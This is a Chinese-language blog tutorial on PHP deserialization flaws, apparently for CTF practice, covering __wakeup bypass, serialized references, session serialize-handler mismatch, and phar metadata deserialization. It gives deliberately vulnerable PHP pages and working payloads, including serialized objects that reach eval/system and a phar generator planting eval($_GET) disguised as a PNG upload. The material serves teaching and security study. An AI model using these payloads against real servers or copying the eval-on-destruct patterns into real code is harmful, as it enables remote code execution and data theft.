反序列化漏洞详解(三)

目录

一、wakeup绕过

二、引用

三、session反序列化漏洞

3.1 php方式存取session格式

3.2 php_serialize方式存取session格式

3.3 php_binary方式存取session格式

3.4 代码演示

3.5 session例题获取flag

四、phar反序列化漏洞

4.1 phar常识

4.2 代码演示

4.3 phar例题获取flag


一、wakeup绕过

(不怎么重要,但需要知道)

反序列化漏洞:CVE-2016-7124 就是这个原因。

漏洞产生原因:如果存在__wakeup方法,调用unserilize()方法前泽贤调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

直接代码演示 多说无用

<?php
error_reporting(0);
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}
else{if (preg_match('/[oc]:\d+:/i',$cmd)){echo "Are you daydreaming?";}else{unserialize($cmd);}
}
//sercet in flag.php
?>

这里其实我有两个问题
第一个问题 :__wakeup不是在反序列化之前执行的嘛 他赋值不应该是没用嘛 他执行结束后对象获取的不是序列化字符串的值嘛? 难道__wakeup会一直检查?

解决:总结起来,__wakeup 方法是在反序列化过程结束、即将将反序列化的值赋给对象之前触发的。
第二个问题:如果这个属性个数大于原有的不是应该不执行反序列化了嘛 为什么还能执行(我发现有的可以成功执行反序列化有的不可以执行反序列化)


提示秘密在flag.php里面 发现一旦触发wakeup file的值就会变为index.php 这个时候我们就需要绕过wakeup 
//O:+6:"secret":2:{s:4:"file";s:8:"flag.php"}

切记得到的poc最好进行url编码可能因为+触发一些问题 从而无法获取flag


二、引用

(单独见到的时候比较少 和上面一样 会在一道题里出现这一个小问题)

类似于c语言指不怕随机值了针 可以理解为都指向一个地址 一个变另一个也会变

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {var $enter;var $secret;
}if (isset($_GET['pass'])) {$pass = $_GET['pass'];$pass=str_replace('*','\*',$pass);
}$o = unserialize($pass);if ($o) {$o->secret = "*";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$flag;elseecho "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
are you trolling?

如果poc里面有*号就回被屏蔽 没有任何办法 并且如果secret是个随机值 那更不好办

于是采用引用 一节困难都解决了

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

解释一下:就是secret是对象的第二次使用 记住这么写的就行(说实话代码能看懂,但是这个字符串有点不理解,记住就行),可以理解为enter为第一次引用对象第一次的输出 secret是第二次引用对象第一次输出的结果 他俩值相等


三、session反序列化漏洞

当session_start()被调用或者php.ini中session.auto_start为1时

php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录下

存取数据的格式有多种,常见的有三种

漏洞的产生:写入格式和读取格式不一致 


3.1 php方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

传入ben=123456


3.2 php_serialize方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

传入ben=dazhuang&b=666


3.3 php_binary方式存取session格式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

传入 发现有些不一样 那是因为该方式中的属性长度以二进制方式存储 文本方式看不出来

使用010二进制读取 发现benben前有个06 b前有个01


3.4 代码演示

有两个页面

提交数据的页面

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

漏洞页面

<?php 
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{var $a;function __destruct(){eval($this->a);}
}
?>

提交数据是以php_serialize的方式进行存session文件的 如果我们传入a=tzy

则文件内的内容就是a:1:{s:1:"a";s:3:"tzy";}

但是他取的时候使用的是php方式进行读取session文件 会把竖线前当成键名,后面当成键值,所以要对先加上一个竖线  a:1:{s:1:"a";s:3:"|tzy";}


在漏洞界面代码只要是能触发destruct魔术方法就能执行eval语句 所以a=system(dir); 并且要对该类的对象进行反序列化 才能触发魔术方法

D实例化并赋值a为system(dir)的poc:O:1:"D":1:{s:1:"a";s:11:"system(dir);";}

整体提交的poc:a= |O:1:"D":1:{s:1:"a";s:11:"system(dir);";}

保存到服务器的内容就成为了

a:1:{s:1:"a";s:3:"|O:1:"D":1:{s:1:"a";s:11:"system(dir);"}";}

但是php方式进行读取的时候  键值是竖线后序列化的字符串 会将键值反序列化 从而执行了eval。


session的流程就是你提交session后 再次访问同一个session的页面 这个页面就会获取之前的session并读取 并按照当前页面设置的方法通过session_start()进行读取session文件 读取也就是执行一遍 获取里面session内的名字以及所对应的内容 在该演示中 php因为存储的形式是键值+序列化后的字符串 在读取的时候 会将字符串反序列化才能获取值 所以就造成了漏洞


于是直接访问漏洞界面即可


3.5 session例题获取flag

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{public $name;public $her;function __wakeup(){$this->her=md5(rand(1, 10000));if ($this->name===$this->her){include('flag.php');echo $flag;}}
}
?>

通过提示查看hint.php 应该是提交页面

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

提交参数a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

成功


四、phar反序列化漏洞

4.1 phar常识

phar是一个文件 可以理解为一个压缩包

JAR是开发Java程序的一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单

PHAR是PHP里类似于JAR的一种打包文件。

对于PHP5.3或更高版本,Phar后缀文件时默认开启支持的,可以直接使用它

文件包含:phar为协议,可读取,.phar文件

经常看见的后缀 不能算是标识信息 真正标识的是文件的头部信息

phar.readonly 设置为 Off 时,表示允许在运行时对 Phar 文件进行修改,例如创建、修改或删除其中的文件。这可以方便地对 Phar 文件进行更新和维护。默认情况下,phar.readonly 被设置为 On,即不允许对 Phar 文件进行修改,以提供更高的安全性。

做安全的了解就行 知道差不多 不深究原理


4.2 代码演示

生成phar文件的代码 这也是生成phar文件的模版

<?php
highlight_file(__FILE__);
class Testobj
{var $output='';
}@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data 这里进行序列化
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

执行后test.phar内容就是 只关心序列化的字段就可以 

漏洞页面代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{var $output="echo 'ok';";function __destruct(){eval($this->output);}
}
if(isset($_GET['filename']))
{$filename=$_GET['filename'];var_dump(file_exists($filename));
}
?>

传入filename参数 使用file_exists执行该文件 看是否存在该文件 

这个时候就用到了phar协议了 他会解析phar文件 一但解析 会将phar文件内的M字符串进行反序列化 就会触发魔术方法destruct 如果字符串里的类是该漏洞页面的类 并且为该类的output进行赋值为命令  就可以成功执行eval

因为这个时候的output的值为eval($_GET["a"]) 这个a还没获取到 所以没有执行远程命令

output的值为eval($_GET["a"])有好处 直接一个phar文件就能进行无数次的a命令执行 否则一个命令就需要生成一个phar文件

增加a参数

4.3 phar例题获取flag

代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {public function __destruct() {include('flag.php');echo $flag;}
}
$filename = $_POST['file'];
if (isset($filename)){echo md5_file($filename);
}
//upload.php
?>

一看必须触发destruct魔术方法才行 但是没有反序列化函数 只能用到phar

生成一个phar文件 模版就用上一题的  修改部分内容即可  就把当前类赋值过去内容为空就行 也不需要为类增加属性 就没了  整体来说 就是在模版中生成phar 将类实例化的对象传入到phar文件的meta位置 就会 自动序列化了 

<?php
highlight_file(__FILE__);
class TestObject {}@unlink('poc.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('poc.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data 这里进行序列化
$phar->addFromString("poc.txt","poc");  //添加要压缩的文件
$phar->stopBuffering();
?>

执行生成poc.phar

发现上传的时候只能上传图片文件 直接修改poc.phar为poc.png 之前也说了 文件的标识不是后缀而是文件头 所以使用phar协议的时候也能解析poc.png

成功上传 并给出位置

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/195287.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络图片转化成base64

也许今天比较无聊&#xff0c;突然想前端怎么把图片缓存的本地&#xff1f;如果是数据流&#xff0c;直接保存到localStorage&#xff0c;但是如果是网络url地址怎么办&#xff1f;存个url肯定没有什么意义&#xff0c;苦思冥想还是把图片保存为base64格式&#xff0c;这又遇到…

MDK ARM环境下的伪指令的测试

目录 测试目标&#xff1a; 测试代码&#xff1a; 1. start.s 2. align.s 测试结果&#xff1a; 1 .ldr伪指令的测试结果: 2 .align伪操作测试结果: 结果分析&#xff1a; 测试目标&#xff1a; 熟悉ARM处理器的伪指令&#xff0c;本次实验主要来练习ldr伪指令和align…

你不得不知道的工业镜头使用中的常见问题

镜头的基本功能就是实现光束变换&#xff08;调制&#xff09;&#xff0c;在机器视觉系统中&#xff0c;工业镜头的主要作用是将目标成像在图像传感器的光敏面上。工业镜头是机器视觉系统设计的重要环节。在实际应用过程中&#xff0c;会遇到以下常见问题。 1、Q&#xff1a;…

力扣543. 二叉树的直径(java DFS解法)

Problem: 543. 二叉树的直径 文章目录 题目描述思路解题方法复杂度Code 题目描述 给你一棵二叉树的根节点&#xff0c;返回该树的 直径 。 二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 root 。 两节点之间路径的 长度 由它们…

OGG实现Oracle19C到postgreSQL14的实时同步

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…

用户帐户限制(例如,时间限制)会阳止你登录。请与系统管理员或技术支持联系以获取帮助

出现的问题 用户帐户限制(例如&#xff0c;时间限制)会阳止你登录。请与系统管理员或技术支持联系以获取帮助 2.解决方法 使用WINR召唤出运行&#xff0c;然后输入secpol.msc,然后点击回车键&#xff0c;进入本地安全策略&#xff0c;在左边栏中找到本地策略&#xff0c;再…

TextCNN文本分类快速上手

这里写目录标题 TextCNN介绍&#xff1a;Docker从0安装Docker基于镜像安装容器打包操作&#xff08;生成镜像时使用的命令&#xff09;安装时命令 页面访问模型训练API访问性能测试其他查看显卡信息 TextCNN介绍&#xff1a; 1.支持语义识别和分类置信度输出。 2.训练速度快&…

在动态时代引领软件领导地位

在职业追求领域&#xff0c;存在一种常见的误解&#xff0c;认为管理软件开发类似于骑自行车——一种静态技能&#xff0c;一旦获得&#xff0c;只需极少的调整就可以平稳地向前推进。然而&#xff0c;在快速发展的技术领域&#xff0c;这种比较不仅过于简单化&#xff0c;而且…

如何设计适合数字化转型需要的数据架构

现代组织需要一个模块化的数据架构来支持复杂的企业环境&#xff0c;同时为业务用户提供数据访问。以下是一些关键考虑因素。 一重视元数据的管理 数据架构不断发展以提供由元数据支持的数据自助服务 过去几十年来&#xff0c;数据分析架构最佳实践已经经历了多个时代&#…

linux服务器环境搭建(使用yum 安装mysql、jdk、redis)

一:yum的安装 1:下载yum安装包并解压 wget http://yum.baseurl.org/download/3.2/yum-3.2.28.tar.gz tar xvf yum-3.2.28.tar.gz 2.进入yum-3.2.28文件夹中进行安装,执行安装指令 cd yum-3.2.28 sudo apt install yum 3.更新版本 yum check-update yum update yum cle…

基于微博的信息热度评价与预测分析

摘 要 微博已成为时下非常热门的社交媒体平台&#xff0c;是一个庞大的关于信息分享和话题交流的平台&#xff0c;在人们线上社交活动中发挥着不可替代的作用&#xff0c;由于网络信息鱼龙混杂&#xff0c;所以本文通过了解微博的热度机制进而研究微博热度和预测微博的热门程度…

WebGL开发数据可视化应用

WebGL 是一种强大的图形渲染技术&#xff0c;用于在浏览器中创建高性能的交互式数据可视化应用。以下是开发这类应用的一般技术方案&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.WebGL 框架&…

CRM实战:如何对商机阶段进行有效管理

对企业来说&#xff0c;管理客户的多个需求对于开发新的商机至关重要。一旦发现客户有多个需求&#xff0c;我们可以在客户信息表中建立相应数量的商机&#xff0c;这样有助于系统化地进行跟进&#xff0c;达到商机利用的最大化。那么&#xff0c;CRM系统如何进行企业的商机阶段…

C语言二叉树的基本概念(一)

目录 二叉树 二叉树的分类&#xff08;目前只谈两种&#xff09; 满二叉树 完全二叉树 二叉树的性质&#xff08;其余的可以自己总结&#xff09; 选择练习 二叉树的存储结构 顺序存储方式 链式存储方式 二叉树 定义&#xff1a;二叉树是一种特殊的树状数据结构&…

前端漏洞--front(系统有user1/user1,admin1/admin1两个用户)

任务一&#xff1a;挖掘反射型XSS漏洞&#xff08;以弹窗test13&#xff09;证明 任务二&#xff1a;复现环境中的CSRF漏洞&#xff0c;设计表单&#xff0c;当管理员点击URL后自动将自己密码重置为&#xff1a;123456 任务三&#xff1a;复现环境中的JSON Hijacking漏洞&#…

电容、电感和电阻

一、电感 1&#xff09;图片 2&#xff09;作用 a&#xff09;储存容量 例如dcdc转换器的原理,将一个电压值转换成另外一个电压值 b&#xff09;选择信号 比如空气中弥漫着很多信号&#xff0c;我们应该怎么选取我们所需要的信号。 电感和电容可以看成一个电阻&#xff0c;当电…

CRM管理系统:让你的业务运行更流畅

是客户关系管理系统的缩写。现代企业利用网络技术协调企业和客户之间在销售和服务上的对接&#xff0c;提升企业核心竞争力的一种手段。那么CRM管理系统一般包含哪些功能模块呢&#xff1f;今天小编为大家介绍一下。 一、好的CRM管理系统有哪些功能特性 1、有全方位的客户视图…

2024年甘肃省职业院校技能大赛(中职教师组)网络安全竞赛样题卷④

2024年甘肃省职业院校技能大赛&#xff08;中职教师组&#xff09;网络安全竞赛样题卷④ 2024年甘肃省职业院校技能大赛&#xff08;中职教师组&#xff09;网络安全竞赛样题卷④A模块基础设施设置/安全加固&#xff08;本模块200分&#xff09;A-1任务一 登录安全加固&#xf…

Stable diffusion ai图像生成本地部署教程

前言 本文将用最干最简单的方式告诉你怎么将Stable Diffusion AI图像生成软件部署到你的本地环境 关于Stable Diffusion的实现原理和训练微调请看我其他文章 部署Stable Diffusion主要分为三个部分 下载模型&#xff08;模型可以认为是被训练好的&#xff0c;生成图像的大脑…

如何有效进行主数据治理

在企业信息化建设不断推进、逐渐进行数字化转型的今天&#xff0c;几乎所有的企业都卷入到数据及其处理&#xff08;数据收集、存储、检索、传输、分析和表示&#xff09;的浪潮中&#xff0c;数据已成为重要生产要素和无形资产&#xff0c;针对主数据的全生命周期管理迫在眉睫…